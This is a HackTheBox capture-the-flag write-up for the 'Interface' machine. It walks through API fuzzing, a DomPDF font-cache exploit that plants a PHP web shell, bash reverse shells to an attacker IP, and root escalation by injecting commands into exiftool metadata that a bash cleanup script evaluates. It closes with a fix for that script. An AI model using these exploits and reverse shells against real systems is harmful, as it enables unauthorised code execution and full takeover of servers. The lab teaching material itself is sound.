Interface – HackTheBox Writeup
Machine Name: Interface
IP: 10.10.11.200
Difficulty: Medium
Summary
Interface is a medium machine that requires some “curling” skills to form request and demystify their respective response codes. The machine has a lot of fuzzing for API endpoints and parameters which lead to an exploit for DomPDF. The vulnerability deals with how DomPDF caches the font file and allows remote files to be read. The privilege escalation teaches a new technique that abuses Arithmetic Expression Injection in bash scripts.
Information Gathering
Nmap scan shows that port 22 (SSH) and port 80 (HTTP) are open. Port 80 is running Nginx 1.14.0 webserver.
The webpage has a site maintenance message. Funnily, the owner asks us to contact them but doesn’t provide any email, contact form or phone number. It is when the source code is checked that we understand that the text “contact us” has an email hyperlink of “mailto:contact@interface.htb”. We can add “interface.htb” to the /etc/hosts file.
Since there is nothing interesting we could work with on the webpage, we could try directory fuzzing with ffuf.
ffuf -u http://interface.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200 -c -r -sf -o "ffuf_interface.html" -of html
The directory fuzzing didn’t give us any leads either. Let’s check the response using curl.
curl -X HEAD -I interface.htb/
The Content-Security-Policy reveals a new API endpoint “http://prd.m.rendering-api.interface.htb”. Let’s add it to the /etc/hosts file and check the response by curling it.
curl -i http//prd.m.rendering-api.interface.htb
The response we get from curling the found endpoint is “File not found”. Since the API is looking for a valid file name, let’s fuzz for it. Initially, if you use the “-mc all” option, you might be flooded with 404 responses which make it difficult to filter the interesting ones. Therefore, let’s filter the 404 responses with size 0.
ffuf -u http://prd.m.rendering-api.interface.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -mc all -fs 0 -c -r -sf -o ffuf_api_dir_2.3_interface.txt
We found “/api” and “/vendor” directories. Let’s try to fuzz them again for any valid files that might exist.
ffuf -u http://prd.m.rendering-api.interface.htb/vendor/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -mc all -fs 0 -c -r -sf -o ffuf_api_dir_2.3_interface_vendor.txt
Using the same wordlist, we find “composer”. Let’s use SecLists medium file fuzzing wordlist to check if we have missed anything.
ffuf -u http://prd.m.rendering-api.interface.htb/vendor/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -mc all -fc 404 -c -r -sf -o ffuf_api_raft_interface_vendor.txt
Immediately, we see another file called “dompdf” along with “composer”. If we try to access the page using curl, we see that the response is 403 as reported by ffuf and tells us “Access denied”.
Google’s first result for exploits related to “dompdf” is positive-security’s Github.
RCE in domPDF
DomPDF is a PHP library that is used to render PDFs from HTML.
Positive Security found an XSS in the GET parameter “title”. Then they found an export option that let’s them inject HTML code (only) to be reflected in the PDF. They found that domPDF’s code loads remote resources. This was verified by using the XSS to include an external stylesheet. From here, the researchers crafted a CSS file that includes PHP code, which is then executed by the server when the PDF document is generated using domPDF.
To exploit this vulnerability, we need PHP and remote file access to be enabled.
private $isPhpEnabled = false; private $isRemoteEnabled = false;
To exploit this vulnerability, we need a valid page that exists and responds with 200 status code.
Let’s try to fuzz the “/api” endpoint. Initially, when I found the redundant responses to be size 50, I removed them by using the -fc 0,50 filter. Since I couldn’t see any result, I tried sending POST requests. Eventually, I found the “html2pdf” endpoint.
ffuf -X POST -u http://prd.m.rendering-api.interface.htb/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -mc all -fs 50 -c -r -sf -o ffuf_api_dir_2.3_interface.txt
The curl results for the html2pdf endpoint show that it is missing some parameters.
I tried to fuzz for parameters using ffuf that respond with a 200 instead of a 422 code.
ffuf -X POST -d 'FUZZ=FUZZ' -u http://prd.m.rendering-api.interface.htb/api/html2pdf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -mc 200 -c -r -sf -o ffuf_param.txt
The post request with simple “=” format parameters do not work. Let’s try using JSON format.
ffuf -X POST -d '{"FUZZ":"FUZZ"}' -u http://prd.m.rendering-api.interface.htb/api/html2pdf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -mc 200 -c -r -sf
Immediately, we see that the “html” parameter gives us a 200 response.
Now that we have found a valid page, let’s grab the CSS code from Positive Security’s Github page and host it on our attacker server and get a shell.
To understand where the font cache can be accessed, we need to look at the below code. It saves it in “$fontDir/$prefix_$remoteHash”. The $remoteHash is the MD5sum of the $remoteFile. The function passes $remoteFile which is the name of the file rather than the contents of the file. Note that the $fontname variable takes the Family in the CSS file which is “exploitfont” in our case and converts it into lowercase. It removes any special characters in the $fontname variable and finally adds “_” and “the font style from the CSS file, which is “normal” in our case.
The location in the blog post appears to be “/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_MD5hash”. If we check whether the directory exits, we get a 403 Forbidden response for valid directories and 404 for non-existent directories.
curl -i http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts
I cloned the github repository of positive security’s dompdf exploit and used the exploit_font.php and exploit.css files. The exploit_font.php file’s payload is replaced with a “cmd” GET parameter to inject our commands. Then, we calculate the MD5sum of the URL at which we will be hosting the file. Finally, we host the server using python and curl the CSS file to cache the PHP file. The PHP file is then used to get RCE.
git clone https://github.com/positive-security/dompdf-rce cd exploit vi exploit_font.php # exploit_font.php ---redacted gibbersh--- <?php system($_REQUEST['cmd']); ?> vi exploit.css # exploit.css @font-face { font-family:'exploitfont'; src:url('http://10.10.16.6/exploit.php'); font-weight:'normal'; font-style:'normal'; } # Python web server python3 -m http.server 80 # Pass the CSS file hosted on the python server. curl -s -X POST -i http://prd.m.rendering-api.interface.htb/api/html2pdf -H "Content-Type: application/json" -d '{"html":"<link rel=stylesheet href='http://10.10.16.6/exploit.css'>"}' #Calculate the MD5sum echo -n "http://10.10.16.4/exploit_font.php" | md5sum 3fedc9cbc2670349df298e9522cdbcb5 - # File at: # http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_3fedc9cbc2670349df298e9522cdbcb5.php # Curl the CSS file to cache the PHP file curl -s -X POST -i http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_3fedc9cbc2670349df298e9522cdbcb5.php #Run the PHP file with cmd as GET argument and pass the command. curl -X POST --data-urlencode 'cmd=id' -o- http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_3fedc9cbc2670349df298e9522cdbcb5.php | tail -1 curl -X POST --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"' -o- http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_3fedc9cbc2670349df298e9522cdbcb5.php | tail -1
We see that ‘id’ command is successfully executed.
If we do not issue the commands immediately, they might not execute successfully. It might be a cache/timing issue. Every time the file does not respond, we need to rename the CSS file and repeat the process again. In the case below, I renamed the CSS file as “exp.css” and got the shell using the bash interactive shell command.
Let’s get a stable TTY shell.
python3 -c 'import pty;pty.spawn("/bin/bash")' ^Z stty raw -echo; fg export TERM=xterm stty rows 50 cols 152
On further exploration of directories, we find that the user flag is readable and it exists in the user dev’s directory.
Privilege Escalation
One of the first hints is that the cache was being cleared when we tried to get a reverse shell. Let’s look for that script by downloading pspy and checking for that cron that is running.
python3 -m http.server 80 wget 10.10.16.6/pspy64 chmod +x pspy64 ./pspy64
We see that the “cleancache.sh” script is running. Let’s have a look at it.
The cache directory is defined to be “/tmp” and then it looks through all the files in the directory and extracts the exiftool information to look for dompdf file and then removes the file.
Spotting the Vulnerability
The script uses the comparison operator “eq”. The if statement is used to compare the strings “$meta_producer” and “$dompdf”. The “eq” operator is commonly used for numeric equality comparison and not string equality. In this case, it evaluates strings as integers which might lead to unexpected results. Sometimes, you just gotta google your way through exploiting the vulnerability. And to make it simpler, one could use chatGPT as well.
In this case, we need to set the Producer to some malicious payload. The first google link for the search “Arithmetic eq exploit linux” was this.
# Replace this command with our choice of command. $ curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://localhost/index.cgi
We’ll first create a file that contains the reverse shell and then another file that contains the Producer metadata.
vi rshell.sh #!/bin/bash bash -i >& /dev/tcp/10.10.16.6/1234 0>&1 chmod +x rshell.sh touch deleteME exiftool -Producer='arr[$(/dev/shm/rshell.sh)]' deleteME
We need to copy the “deleteME” file with the Producer metadata to “/tmp” such that the “cleancache.sh” script will get the “Producer” metadata from the “deleteMe” file and execute the “rshell.sh” script that exists in “/dev/shm”.
cp deleteMe /tmp nc -lvnp 1234
Pwned root!
To fix the “eq” vulnerability and correctly compare strings, one should use the =
or ==
operators instead of -eq.
if [[ "$meta_producer" == "dompdf" ]]; then
With this change, the script will compare the string value of “$meta_producer” with the string “dompdf” for equality.